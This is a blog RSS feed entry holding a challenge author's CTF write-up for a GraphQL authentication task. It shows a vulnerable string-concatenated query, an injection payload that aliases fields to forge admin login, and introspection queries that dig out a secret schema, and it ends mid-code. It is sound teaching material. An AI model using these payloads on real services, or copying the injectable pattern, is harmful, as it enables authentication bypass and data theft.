<?xml version="1.0" encoding="utf-8"?><?xml-stylesheet type="text/xsl" href="/assets/rss-20b3285f.xsl"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom">
    <channel>
        <title>标签: writeup - ouuan's blog</title>
        <link>https://ouuan.moe/tag/writeup</link>
        <description>标签为 writeup 的文章 - ouuan 的博客</description>
        <lastBuildDate>Sun, 26 Oct 2025 04:32:03 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>https://github.com/jpmonette/feed</generator>
        <language>zh-CN</language>
        <copyright>Copyright © 2022 - 2026 ouuan
Licensed under CC BY-SA 4.0</copyright>
        <atom:link href="https://ouuan.moe/tag/writeup/feed.xml" rel="self" type="application/rss+xml"/>
        <item>
            <title><![CDATA[GeekGame 2025 出题人题解：统一身份认证、勒索病毒]]></title>
            <link>https://ouuan.moe/post/2025/10/geekgame-2025-graphauth-ransomware</link>
            <guid>https://ouuan.moe/post/2025/10/geekgame-2025-graphauth-ransomware</guid>
            <pubDate>Sun, 26 Oct 2025 04:32:03 GMT</pubDate>
            <description><![CDATA[<p>GeekGame 2025<a href="https://github.com/PKU-GeekGame/geekgame-5th/tree/master/official_writeup/web-graphauth"><span class="mojikumi-line-start">【</span>统一身份认证<span class="mojikumi">】</span><wbr><span class="mojikumi-line-start">（</span>web-graphauth<span class="mojikumi-line-end">）</span></a>和<a href="https://github.com/PKU-GeekGame/geekgame-5th/tree/master/official_writeup/misc-ransomware"><span class="mojikumi-line-start">【</span>勒索病毒<span class="mojikumi">】</span><wbr><span class="mojikumi-line-start">（</span>misc-ransomware<span class="mojikumi-line-end">）</span></a>的出题人题解<span class="mojikumi-line-end">。</span></p>
]]></description>
            <content:encoded><![CDATA[<p>GeekGame 2025<a href="https://github.com/PKU-GeekGame/geekgame-5th/tree/master/official_writeup/web-graphauth"><span class="mojikumi-line-start">【</span>统一身份认证<span class="mojikumi">】</span><wbr><span class="mojikumi-line-start">（</span>web-graphauth<span class="mojikumi-line-end">）</span></a>和<a href="https://github.com/PKU-GeekGame/geekgame-5th/tree/master/official_writeup/misc-ransomware"><span class="mojikumi-line-start">【</span>勒索病毒<span class="mojikumi">】</span><wbr><span class="mojikumi-line-start">（</span>misc-ransomware<span class="mojikumi-line-end">）</span></a>的出题人题解<span class="mojikumi-line-end">。</span></p>

<h2 id="统一身份认证" class="heading"><a href="#统一身份认证" class="heading-anchor" aria-label="章节： 统一身份认证" tabindex="-1"></a><span>统一身份认证</span></h2>
<h3 id="flag-1" class="heading"><a href="#flag-1" class="heading-anchor" aria-label="章节： Flag 1" tabindex="-1"></a><span>Flag 1</span></h3>
<p>在登录和注册时<span class="mojikumi-line-end">，</span>直接将用户输入拼接在了 GraphQL 查询中<span class="mojikumi-line-end">，</span>用引号就可以闭合字符串进行注入<span class="mojikumi-line-end">。</span></p>
<section class="code-block relative my-6 shadow" itemprop="hasPart" itemscope itemtype="https://schema.org/SoftwareSourceCode" data-v-c675dba6><div class="h-6 items-center rd-t-1 bg-area px-4 dark:bg-#2A313A media-screen:important-flex" style="display:none;" data-v-c675dba6><h4 class="text-3 text-footer" itemprop="programmingLanguage" aria-label="Python 代码块" data-v-c675dba6>Python</h4><ile-root id="ile-1"><button title="复制到剪贴板" class="copy-button b-footer text-footer" data-v-63dfb2af><span class="i-mdi-content-copy" data-v-63dfb2af></span><span class="sr-only" role="status" data-v-63dfb2af></span></button></ile-root><!--ISLAND_HYDRATION_PLACEHOLDER_ile-1--></div><div class="dark:hidden" itemprop="text" data-v-c675dba6><pre class="shiki light" style="background-color: #FBFBFB" tabindex="0"><code><span><span style="color: #403F53">query </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #994CC3">f</span><span style="color: #C96765">&#39;&#39;&#39;</span></span>
<span><span style="color: #C96765">query ($username: String = &quot;</span><span style="color: #4876D6">{</span><span style="color: #403F53">username</span><span style="color: #4876D6">}</span><span style="color: #C96765">&quot;, $password: String = &quot;</span><span style="color: #4876D6">{</span><span style="color: #403F53">password</span><span style="color: #4876D6">}</span><span style="color: #C96765">&quot;) </span><span style="color: #AA0982">{{</span></span>
<span><span style="color: #C96765">  login(username: $username, password: $password) </span><span style="color: #AA0982">{{</span></span>
<span><span style="color: #C96765">    ok</span></span>
<span><span style="color: #C96765">    isAdmin</span></span>
<span><span style="color: #C96765">    username</span></span>
<span><span style="color: #C96765">  </span><span style="color: #AA0982">}}</span></span>
<span><span style="color: #AA0982">}}</span></span>
<span><span style="color: #C96765">&#39;&#39;&#39;</span></span></code></pre></div><div class="dark:important-block" style="display:none;" data-v-c675dba6><pre class="shiki dark" style="background-color: #011627" tabindex="0"><code><span><span style="color: #D6DEEB">query </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">f</span><span style="color: #ECC48D">&#39;&#39;&#39;</span></span>
<span><span style="color: #ECC48D">query ($username: String = &quot;</span><span style="color: #82AAFF">{</span><span style="color: #D6DEEB">username</span><span style="color: #82AAFF">}</span><span style="color: #ECC48D">&quot;, $password: String = &quot;</span><span style="color: #82AAFF">{</span><span style="color: #D6DEEB">password</span><span style="color: #82AAFF">}</span><span style="color: #ECC48D">&quot;) </span><span style="color: #F78C6C">{{</span></span>
<span><span style="color: #ECC48D">  login(username: $username, password: $password) </span><span style="color: #F78C6C">{{</span></span>
<span><span style="color: #ECC48D">    ok</span></span>
<span><span style="color: #ECC48D">    isAdmin</span></span>
<span><span style="color: #ECC48D">    username</span></span>
<span><span style="color: #ECC48D">  </span><span style="color: #F78C6C">}}</span></span>
<span><span style="color: #F78C6C">}}</span></span>
<span><span style="color: #ECC48D">&#39;&#39;&#39;</span></span></code></pre></div></section>
<p>攻击目标是返回 <code>"<wbr>login<wbr>": { "<wbr>ok<wbr>": <wbr>true<wbr>, "<wbr>isAdmin<wbr>": <wbr>true<wbr>, "<wbr>username<wbr>": "<wbr>xxx<wbr>" }</code><span class="mojikumi-line-end">，</span>而查询中本来有的这个 <code>login</code> 没法篡改<span class="mojikumi-line-end">，</span>只能注入一个新的 <code>login</code><span class="mojikumi-line-end">。</span>代码中检查 <code>ok</code> 时只需要 truthy 即可<span class="mojikumi-line-end">，</span>而检查 <code>isAdmin</code> 时写的是 <code>== True</code><span class="mojikumi-line-end">，</span>所以必须是 <code>true</code><span class="mojikumi-line-end">，</span>而能够返回 <code>true</code> 的除了 <code>isAdmin</code> 只有 <code>ok</code><span class="mojikumi-line-end">，</span>通过 <a href="https://graphql.org/learn/queries/#aliases">alias</a><span class="mojikumi-line-end">，</span>可以让返回值中的 <code>isAdmin</code> 字段放 <code>ok</code> 的值<span class="mojikumi-line-end">。</span></p>
<section class="code-block relative my-6 shadow" itemprop="hasPart" itemscope itemtype="https://schema.org/SoftwareSourceCode" data-v-c675dba6><div class="h-6 items-center rd-t-1 bg-area px-4 dark:bg-#2A313A media-screen:important-flex" style="display:none;" data-v-c675dba6><h4 class="text-3 text-footer" itemprop="programmingLanguage" aria-label="GraphQL 代码块" data-v-c675dba6>GraphQL</h4><ile-root id="ile-2"><button title="复制到剪贴板" class="copy-button b-footer text-footer" data-v-63dfb2af><span class="i-mdi-content-copy" data-v-63dfb2af></span><span class="sr-only" role="status" data-v-63dfb2af></span></button></ile-root><!--ISLAND_HYDRATION_PLACEHOLDER_ile-2--></div><div class="dark:hidden" itemprop="text" data-v-c675dba6><pre class="shiki light" style="background-color: #FBFBFB" tabindex="0"><code><span><span style="color: #994CC3">query</span><span style="color: #403F53"> ($username: </span><span style="color: #4876D6">String</span><span style="color: #403F53"> = </span><span style="color: #111111">&quot;</span><span style="color: #C96765">username</span><span style="color: #111111">&quot;</span><span style="color: #403F53">, $password: </span><span style="color: #4876D6">String</span><span style="color: #403F53"> = </span><span style="color: #111111">&quot;</span><span style="color: #C96765">password</span><span style="color: #111111">&quot;</span><span style="color: #403F53">) {</span></span>
<span><span style="color: #403F53">  </span><span style="color: #4876D6">login</span><span style="color: #403F53">(username: </span><span style="color: #4876D6">$username</span><span style="color: #403F53">, password: </span><span style="color: #4876D6">$password</span><span style="color: #403F53">) {</span></span>
<span><span style="color: #403F53">    </span><span style="color: #4876D6">ok</span></span>
<span><span style="color: #403F53">    </span><span style="color: #4876D6">isAdmin</span><span style="color: #403F53">: </span><span style="color: #4876D6">ok</span></span>
<span><span style="color: #403F53">    </span><span style="color: #4876D6">username</span></span>
<span><span style="color: #403F53">  }</span><span style="color: #989FB1">&quot;) {</span></span>
<span><span style="color: #989FB1">  login(username: $username, password: $password) {</span></span>
<span><span style="color: #989FB1">    ok</span></span>
<span><span style="color: #989FB1">    isAdmin</span></span>
<span><span style="color: #989FB1">    username</span></span>
<span><span style="color: #989FB1">  }</span></span>
<span><span style="color: #989FB1">}</span></span></code></pre></div><div class="dark:important-block" style="display:none;" data-v-c675dba6><pre class="shiki dark" style="background-color: #011627" tabindex="0"><code><span><span style="color: #C792EA">query</span><span style="color: #D6DEEB"> (</span><span style="color: #D7DBE0">$username</span><span style="color: #D6DEEB">: </span><span style="color: #C5E478">String</span><span style="color: #D6DEEB"> = </span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">username</span><span style="color: #D9F5DD">&quot;</span><span style="color: #D6DEEB">, </span><span style="color: #D7DBE0">$password</span><span style="color: #D6DEEB">: </span><span style="color: #C5E478">String</span><span style="color: #D6DEEB"> = </span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">password</span><span style="color: #D9F5DD">&quot;</span><span style="color: #D6DEEB">) {</span></span>
<span><span style="color: #D6DEEB">  </span><span style="color: #C5E478">login</span><span style="color: #D6DEEB">(</span><span style="color: #D7DBE0">username</span><span style="color: #D6DEEB">: </span><span style="color: #C5E478">$username</span><span style="color: #D6DEEB">, </span><span style="color: #D7DBE0">password</span><span style="color: #D6DEEB">: </span><span style="color: #C5E478">$password</span><span style="color: #D6DEEB">) {</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #C5E478">ok</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #ECC48D">isAdmin</span><span style="color: #D6DEEB">: </span><span style="color: #C5E478">ok</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #C5E478">username</span></span>
<span><span style="color: #D6DEEB">  }</span><span style="color: #637777">&quot;) {</span></span>
<span><span style="color: #637777">  login(username: $username, password: $password) {</span></span>
<span><span style="color: #637777">    ok</span></span>
<span><span style="color: #637777">    isAdmin</span></span>
<span><span style="color: #637777">    username</span></span>
<span><span style="color: #637777">  }</span></span>
<span><span style="color: #637777">}</span></span></code></pre></div></section>
<p>此时还需要处理掉查询语句中的 <code>") {</code> 以及原有的这个 <code>login</code><span class="mojikumi-line-end">。</span><code>") {</code> 通过注释 <code>#</code> 就可以处理<span class="mojikumi-line-end">。</span>原有的 <code>login</code> 会造成重复而出错<span class="mojikumi-line-end">，</span>给一个 alias 就行<span class="mojikumi-line-end">：</span></p>
<section class="code-block relative my-6 shadow" itemprop="hasPart" itemscope itemtype="https://schema.org/SoftwareSourceCode" data-v-c675dba6><div class="h-6 items-center rd-t-1 bg-area px-4 dark:bg-#2A313A media-screen:important-flex" style="display:none;" data-v-c675dba6><h4 class="text-3 text-footer" itemprop="programmingLanguage" aria-label="GraphQL 代码块" data-v-c675dba6>GraphQL</h4><ile-root id="ile-3"><button title="复制到剪贴板" class="copy-button b-footer text-footer" data-v-63dfb2af><span class="i-mdi-content-copy" data-v-63dfb2af></span><span class="sr-only" role="status" data-v-63dfb2af></span></button></ile-root><!--ISLAND_HYDRATION_PLACEHOLDER_ile-3--></div><div class="dark:hidden" itemprop="text" data-v-c675dba6><pre class="shiki light" style="background-color: #FBFBFB" tabindex="0"><code><span><span style="color: #994CC3">query</span><span style="color: #403F53"> ($username: </span><span style="color: #4876D6">String</span><span style="color: #403F53"> = </span><span style="color: #111111">&quot;</span><span style="color: #C96765">username</span><span style="color: #111111">&quot;</span><span style="color: #403F53">, $password: </span><span style="color: #4876D6">String</span><span style="color: #403F53"> = </span><span style="color: #111111">&quot;</span><span style="color: #C96765">password</span><span style="color: #111111">&quot;</span><span style="color: #403F53">) {</span></span>
<span><span style="color: #403F53">  </span><span style="color: #4876D6">login</span><span style="color: #403F53">(username: </span><span style="color: #4876D6">$username</span><span style="color: #403F53">, password: </span><span style="color: #4876D6">$password</span><span style="color: #403F53">) {</span></span>
<span><span style="color: #403F53">    </span><span style="color: #4876D6">ok</span></span>
<span><span style="color: #403F53">    </span><span style="color: #4876D6">isAdmin</span><span style="color: #403F53">: </span><span style="color: #4876D6">ok</span></span>
<span><span style="color: #403F53">    </span><span style="color: #4876D6">username</span></span>
<span><span style="color: #403F53">  }</span></span>
<span><span style="color: #403F53">  </span><span style="color: #4876D6">original</span><span style="color: #403F53">:</span><span style="color: #989FB1"> #&quot;) {</span></span>
<span><span style="color: #403F53">  </span><span style="color: #4876D6">login</span><span style="color: #403F53">(username: </span><span style="color: #4876D6">$username</span><span style="color: #403F53">, password: </span><span style="color: #4876D6">$password</span><span style="color: #403F53">) {</span></span>
<span><span style="color: #403F53">    </span><span style="color: #4876D6">ok</span></span>
<span><span style="color: #403F53">    </span><span style="color: #4876D6">isAdmin</span></span>
<span><span style="color: #403F53">    </span><span style="color: #4876D6">username</span></span>
<span><span style="color: #403F53">  }</span></span>
<span><span style="color: #403F53">}</span></span></code></pre></div><div class="dark:important-block" style="display:none;" data-v-c675dba6><pre class="shiki dark" style="background-color: #011627" tabindex="0"><code><span><span style="color: #C792EA">query</span><span style="color: #D6DEEB"> (</span><span style="color: #D7DBE0">$username</span><span style="color: #D6DEEB">: </span><span style="color: #C5E478">String</span><span style="color: #D6DEEB"> = </span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">username</span><span style="color: #D9F5DD">&quot;</span><span style="color: #D6DEEB">, </span><span style="color: #D7DBE0">$password</span><span style="color: #D6DEEB">: </span><span style="color: #C5E478">String</span><span style="color: #D6DEEB"> = </span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">password</span><span style="color: #D9F5DD">&quot;</span><span style="color: #D6DEEB">) {</span></span>
<span><span style="color: #D6DEEB">  </span><span style="color: #C5E478">login</span><span style="color: #D6DEEB">(</span><span style="color: #D7DBE0">username</span><span style="color: #D6DEEB">: </span><span style="color: #C5E478">$username</span><span style="color: #D6DEEB">, </span><span style="color: #D7DBE0">password</span><span style="color: #D6DEEB">: </span><span style="color: #C5E478">$password</span><span style="color: #D6DEEB">) {</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #C5E478">ok</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #ECC48D">isAdmin</span><span style="color: #D6DEEB">: </span><span style="color: #C5E478">ok</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #C5E478">username</span></span>
<span><span style="color: #D6DEEB">  }</span></span>
<span><span style="color: #D6DEEB">  </span><span style="color: #ECC48D">original</span><span style="color: #D6DEEB">:</span><span style="color: #637777"> #&quot;) {</span></span>
<span><span style="color: #D6DEEB">  </span><span style="color: #C5E478">login</span><span style="color: #D6DEEB">(</span><span style="color: #D7DBE0">username</span><span style="color: #D6DEEB">: </span><span style="color: #C5E478">$username</span><span style="color: #D6DEEB">, </span><span style="color: #D7DBE0">password</span><span style="color: #D6DEEB">: </span><span style="color: #C5E478">$password</span><span style="color: #D6DEEB">) {</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #C5E478">ok</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #C5E478">isAdmin</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #C5E478">username</span></span>
<span><span style="color: #D6DEEB">  }</span></span>
<span><span style="color: #D6DEEB">}</span></span></code></pre></div></section>
<a id="使用-graphql-variable" name="使用-graphql-variable" aria-hidden="true"></a>
<aside role="note" data-v-a2ab257f><div class="shadow-md rd-1 b-l-6 my-6 bg-green-2 dark:bg-green-9 b-green-5" data-v-a2ab257f><div class="p-3 flex justify-between items-center" data-v-a2ab257f><h4 class="flex items-center gap-1 font-bold" data-v-a2ab257f><span class="text-5 i-mdi-lightbulb-outline text-green" data-v-a2ab257f></span><span class="sr-only" data-v-a2ab257f>Hint: </span><span data-v-a2ab257f>使用 GraphQL variable</span></h4><!--v-if--></div><div class="overflow-auto rd-br-1 bg-card px-6 dark:bg-bghover" data-v-a2ab257f><p>就像在 SQL 中应当使用 prepared statement<span class="mojikumi-line-end">，</span>在 GraphQL 中也应当使用 <a href="https://graphql.org/learn/queries/#variables">variable</a> 来传递数据<span class="mojikumi-line-end">，</span>而不应将用户输入直接拼接在查询中<span class="mojikumi-line-end">。</span></p></div></div></aside>
<h3 id="flag-2" class="heading"><a href="#flag-2" class="heading-anchor" aria-label="章节： Flag 2" tabindex="-1"></a><span>Flag 2</span></h3>
<p>schema 是未知的<span class="mojikumi-line-end">，</span>要拿到 flag 就需要先获取 schema<span class="mojikumi-line-end">。</span>GraphQL 提供了 <a href="https://graphql.org/learn/introspection/">introspection</a> 功能<span class="mojikumi-line-end">，</span>可以通过 GraphQL query 来查询 schema<span class="mojikumi-line-end">。</span></p>
<p>GraphQL introspection 有三个主要方法<span class="mojikumi-line-end">：</span></p>
<ul>
<li>在任何地方都可以问 <code>__typename</code> 得到类型名</li>
<li>在 <code>Query</code> 可以问 <code>__type<wbr>(<wbr>name<wbr>: "<wbr>Type<wbr>")</code> 获取特定类型的 schema</li>
<li>在 <code>Query</code> 可以问 <code>__schema</code> 获取整个 schema</li>
</ul>
<p>通过 <code>__schema { types { ... } }</code> 就可以一次性获取整个 schema 中需要的信息<span class="mojikumi-line-end">：</span></p>
<section class="code-block relative my-6 shadow" itemprop="hasPart" itemscope itemtype="https://schema.org/SoftwareSourceCode" data-v-c675dba6><div class="h-6 items-center rd-t-1 bg-area px-4 dark:bg-#2A313A media-screen:important-flex" style="display:none;" data-v-c675dba6><h4 class="text-3 text-footer" itemprop="programmingLanguage" aria-label="GraphQL 代码块" data-v-c675dba6>GraphQL</h4><ile-root id="ile-4"><button title="复制到剪贴板" class="copy-button b-footer text-footer" data-v-63dfb2af><span class="i-mdi-content-copy" data-v-63dfb2af></span><span class="sr-only" role="status" data-v-63dfb2af></span></button></ile-root><!--ISLAND_HYDRATION_PLACEHOLDER_ile-4--></div><div class="dark:hidden" itemprop="text" data-v-c675dba6><pre class="shiki light" style="background-color: #FBFBFB" tabindex="0"><code><span><span style="color: #4876D6">login</span><span style="color: #403F53">: </span><span style="color: #4876D6">__schema</span><span style="color: #403F53"> {</span></span>
<span><span style="color: #403F53">  </span><span style="color: #4876D6">ok</span><span style="color: #403F53">: </span><span style="color: #4876D6">__typename</span></span>
<span><span style="color: #403F53">  </span><span style="color: #4876D6">isAdmin</span><span style="color: #403F53">: </span><span style="color: #4876D6">__typename</span></span>
<span><span style="color: #403F53">  </span><span style="color: #4876D6">username</span><span style="color: #403F53">: </span><span style="color: #4876D6">types</span><span style="color: #403F53"> {</span></span>
<span><span style="color: #403F53">    </span><span style="color: #4876D6">name</span></span>
<span><span style="color: #403F53">    </span><span style="color: #4876D6">fields</span><span style="color: #403F53"> {</span></span>
<span><span style="color: #403F53">      </span><span style="color: #4876D6">name</span></span>
<span><span style="color: #403F53">      </span><span style="color: #4876D6">type</span><span style="color: #403F53"> {</span></span>
<span><span style="color: #403F53">        </span><span style="color: #4876D6">name</span></span>
<span><span style="color: #403F53">      }</span></span>
<span><span style="color: #403F53">    }</span></span>
<span><span style="color: #403F53">  }</span></span>
<span><span style="color: #403F53">}</span></span></code></pre></div><div class="dark:important-block" style="display:none;" data-v-c675dba6><pre class="shiki dark" style="background-color: #011627" tabindex="0"><code><span><span style="color: #82AAFF">login</span><span style="color: #D6DEEB">: </span><span style="color: #82AAFF">__schema</span><span style="color: #D6DEEB"> {</span></span>
<span><span style="color: #D6DEEB">  </span><span style="color: #ECC48D">ok</span><span style="color: #D6DEEB">: </span><span style="color: #C5E478">__typename</span></span>
<span><span style="color: #D6DEEB">  </span><span style="color: #ECC48D">isAdmin</span><span style="color: #D6DEEB">: </span><span style="color: #C5E478">__typename</span></span>
<span><span style="color: #D6DEEB">  </span><span style="color: #ECC48D">username</span><span style="color: #D6DEEB">: </span><span style="color: #C5E478">types</span><span style="color: #D6DEEB"> {</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #C5E478">name</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #C5E478">fields</span><span style="color: #D6DEEB"> {</span></span>
<span><span style="color: #D6DEEB">      </span><span style="color: #C5E478">name</span></span>
<span><span style="color: #D6DEEB">      </span><span style="color: #C5E478">type</span><span style="color: #D6DEEB"> {</span></span>
<span><span style="color: #D6DEEB">        </span><span style="color: #C5E478">name</span></span>
<span><span style="color: #D6DEEB">      }</span></span>
<span><span style="color: #D6DEEB">    }</span></span>
<span><span style="color: #D6DEEB">  }</span></span>
<span><span style="color: #D6DEEB">}</span></span></code></pre></div></section>
<p>而由于 flag 藏的不是特别深<span class="mojikumi-line-end">，</span>也可以一层层问下去<span class="mojikumi-line-end">：</span></p>
<section class="code-block relative my-6 shadow" itemprop="hasPart" itemscope itemtype="https://schema.org/SoftwareSourceCode" data-v-c675dba6><div class="h-6 items-center rd-t-1 bg-area px-4 dark:bg-#2A313A media-screen:important-flex" style="display:none;" data-v-c675dba6><h4 class="text-3 text-footer" itemprop="programmingLanguage" aria-label="GraphQL 代码块" data-v-c675dba6>GraphQL</h4><ile-root id="ile-5"><button title="复制到剪贴板" class="copy-button b-footer text-footer" data-v-63dfb2af><span class="i-mdi-content-copy" data-v-63dfb2af></span><span class="sr-only" role="status" data-v-63dfb2af></span></button></ile-root><!--ISLAND_HYDRATION_PLACEHOLDER_ile-5--></div><div class="dark:hidden" itemprop="text" data-v-c675dba6><pre class="shiki light" style="background-color: #FBFBFB" tabindex="0"><code><span><span style="color: #4876D6">__type</span><span style="color: #403F53">(name: </span><span style="color: #989FB1">&quot;Secret&quot;</span><span style="color: #403F53">) {</span></span>
<span><span style="color: #403F53">  </span><span style="color: #4876D6">ok</span><span style="color: #403F53">: </span><span style="color: #4876D6">name</span></span>
<span><span style="color: #403F53">  </span><span style="color: #4876D6">isAdmin</span><span style="color: #403F53">: </span><span style="color: #4876D6">name</span></span>
<span><span style="color: #403F53">  </span><span style="color: #4876D6">username</span><span style="color: #403F53">: </span><span style="color: #4876D6">fields</span><span style="color: #403F53"> {</span></span>
<span><span style="color: #403F53">    </span><span style="color: #4876D6">name</span></span>
<span><span style="color: #403F53">    </span><span style="color: #4876D6">type</span><span style="color: #403F53"> {</span></span>
<span><span style="color: #403F53">      </span><span style="color: #4876D6">name</span></span>
<span><span style="color: #403F53">      </span><span style="color: #4876D6">fields</span><span style="color: #403F53"> {</span></span>
<span><span style="color: #403F53">        </span><span style="color: #4876D6">name</span></span>
<span><span style="color: #403F53">        </span><span style="color: #4876D6">type</span><span style="color: #403F53"> {</span></span>
<span><span style="color: #403F53">          </span><span style="color: #4876D6">name</span></span>
<span><span style="color: #403F53">          </span><span style="color: #4876D6">fields</span><span style="color: #403F53"> {</span></span>
<span><span style="color: #403F53">            </span><span style="color: #4876D6">name</span></span>
<span><span style="color: #403F53">            </span><span style="color: #4876D6">type</span><span style="color: #403F53"> {</span></span>
<span><span style="color: #403F53">              </span><span style="color: #4876D6">name</span></span>
<span><span style="color: #403F53">              </span><span style="color: #4876D6">fields</span><span style="color: #403F53"> {</span></span>
<span><span style="color: #403F53">                </span><span style="color: #4876D6">name</span></span>
<span><span style="color: #403F53">                </span><span style="color: #4876D6">type</span><span style="color: #403F53"> {</span></span>
<span><span style="color: #403F53">                  </span><span style="color: #4876D6">name</span></span>
<span><span style="color: #403F53">                  </span><span style="color: #4876D6">fields</span><span style="color: #403F53"> {</span></span>
<span><span style="color: #403F53">                    </span><span style="color: #4876D6">name</span></span>
<span><span style="color: #403F53">                    </span><span style="color: #4876D6">type</span><span style="color: #403F53"> {</span></span>
<span><span style="color: #403F53">                      </span><span style="color: #4876D6">name</span></span>
<span><span style="color: #403F53">                      </span><span style="color: #4876D6">fields</span><span style="color: #403F53"> {</span></span>
<span><span style="color: #403F53">                        </span><span style="color: #4876D6">name</span></span>
<span><span style="color: #403F53">                        </span><span style="color: #4876D6">type</span><span style="color: #403F53"> {</span></span>
<span><span style="color: #403F53">                          </span><span style="color: #4876D6">name</span></span>
<span><span style="color: #403F53">                          </span><span style="color: #4876D6">fields</span><span style="color: #403F53"> {</span></span>
<span><span style="color: #403F53">                            </span><span style="color: #4876D6">name</span></span>
<span><span style="color: #403F53">                            </span><span style="color: #4876D6">type</span><span style="color: #403F53"> {</span></span>
<span><span style="color: #403F53">                              </span><span style="color: #4876D6">name</span></span>
<span><span style="color: #403F53">                              </span><span style="color: #4876D6">fields</span><span style="color: #403F53"> {</span></span>
<span><span style="color: #403F53">                                </span><span style="color: #4876D6">name</span></span>
<span><span style="color: #403F53">                                </span><span style="color: #4876D6">type</span><span style="color: #403F53"> { </span><span style="color: #4876D6">name</span><span style="color: #403F53"> }</span></span>
<span><span style="color: #403F53">                              }</span></span>
<span><span style="color: #403F53">                            }</span></span>
<span><span style="color: #403F53">                          }</span></span>
<span><span style="color: #403F53">                        }</span></span>
<span><span style="color: #403F53">                      }</span></span>
<span><span style="color: #403F53">                    }</span></span>
<span><span style="color: #403F53">                  }</span></span>
<span><span style="color: #403F53">                }</span></span>
<span><span style="color: #403F53">              }</span></span>
<span><span style="color: #403F53">            }</span></span>
<span><span style="color: #403F53">          }</span></span>
<span><span style="color: #403F53">        }</span></span>
<span><span style="color: #403F53">      }</span></span>
<span><span style="color: #403F53">    }</span></span>
<span><span style="color: #403F53">  }</span></span>
<span><span style="color: #403F53">}</span></span></code></pre></div><div class="dark:important-block" style="display:none;" data-v-c675dba6><pre class="shiki dark" style="background-color: #011627" tabindex="0"><code><span><span style="color: #82AAFF">__type</span><span style="color: #D6DEEB">(</span><span style="color: #D7DBE0">name</span><span style="color: #D6DEEB">: </span><span style="color: #637777">&quot;Secret&quot;</span><span style="color: #D6DEEB">) {</span></span>
<span><span style="color: #D6DEEB">  </span><span style="color: #ECC48D">ok</span><span style="color: #D6DEEB">: </span><span style="color: #C5E478">name</span></span>
<span><span style="color: #D6DEEB">  </span><span style="color: #ECC48D">isAdmin</span><span style="color: #D6DEEB">: </span><span style="color: #C5E478">name</span></span>
<span><span style="color: #D6DEEB">  </span><span style="color: #ECC48D">username</span><span style="color: #D6DEEB">: </span><span style="color: #C5E478">fields</span><span style="color: #D6DEEB"> {</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #C5E478">name</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #C5E478">type</span><span style="color: #D6DEEB"> {</span></span>
<span><span style="color: #D6DEEB">      </span><span style="color: #C5E478">name</span></span>
<span><span style="color: #D6DEEB">      </span><span style="color: #C5E478">fields</span><span style="color: #D6DEEB"> {</span></span>
<span><span style="color: #D6DEEB">        </span><span style="color: #C5E478">name</span></span>
<span><span style="color: #D6DEEB">        </span><span style="color: #C5E478">type</span><span style="color: #D6DEEB"> {</span></span>
<span><span style="color: #D6DEEB">          </span><span style="color: #C5E478">name</span></span>
<span><span style="color: #D6DEEB">          </span><span style="color: #C5E478">fields</span><span style="color: #D6DEEB"> {</span></span>
<span><span style="color: #D6DEEB">            </span><span style="color: #C5E478">name</span></span>
<span><span style="color: #D6DEEB">            </span><span style="color: #C5E478">type</span><span style="color: #D6DEEB"> {</span></span>
<span><span style="color: #D6DEEB">              </span><span style="color: #C5E478">name</span></span>
<span><span style="color: #D6DEEB">              </span><span style="color: #C5E478">fields</span><span style="color: #D6DEEB"> {</span></span>
<span><span style="color: #D6DEEB">                </span><span style="color: #C5E478">name</span></span>
<span><span style="color: #D6DEEB">                </span><span style="color: #C5E478">type</span><span style="color: #D6DEEB"> {</span></span>
<span><span style="color: #D6DEEB">                  </span><span style="color: #C5E478">name</span></span>
<span><span style="color: #D6DEEB">                  </span><span style="color: #C5E478">fields</span><span style="color: #D6DEEB"> {</span></span>
<span><span style="color: #D6DEEB">                    </span><span style="color: #C5E478">name</span></span>
<span><span style="color: #D6DEEB">                    </span><span style="color: #C5E478">type</span><span style="color: #D6DEEB"> {</span></span>
<span><span style="color: #D6DEEB">                      </span><span style="color: #C5E478">name</span></span>
<span><span style="color: #D6DEEB">                      </span><span style="color: #C5E478">fields</span><span style="color: #D6DEEB"> {</span></span>
<span><span style="color: #D6DEEB">                        </span><span style="color: #C5E478">name</span></span>
<span><span style="color: #D6DEEB">                        </span><span style="color: #C5E478">type</span><span style="color: #D6DEEB"> {</span></span>
<span><span style="color: #D6DEEB">                          </span><span style="color: #C5E478">name</span></span>
<span><span style="color: #D6DEEB">                          </span><span style="color: #C5E478">fields</span><span style="color: #D6DEEB"> {</span></span>
<span><span style="color: #D6DEEB">                            </span><span style="color: #C5E478">name</span></span>
<span><span style="color: #D6DEEB">                            </span><span style="color: #C5E478">type</span><span style="color: #D6DEEB"> {</span></span>
<span><span style="color: #D6DEEB">                              </span><span style="color: #C5E478">name</span></span>
<span><span style="color: #D6DEEB">                              </span><span style="color: #C5E478">fields</span><span style="color: #D6DEEB"> {</span></span>
<span><span style="color: #D6DEEB">                                </span><span style="color: #C5E478">name</span></span>
<span><span style="color: #D6DEEB">                                </span><span style="color: #C5E478">type</span><span style="color: #D6DEEB"> { </span><span style="color: #C5E478">name</span><span style="color: #D6DEEB"> }</span></span>
<span><span style="color: #D6DEEB">                              }</span></span>
<span><span style="color: #D6DEEB">                            }</span></span>
<span><span style="color: #D6DEEB">                          }</span></span>
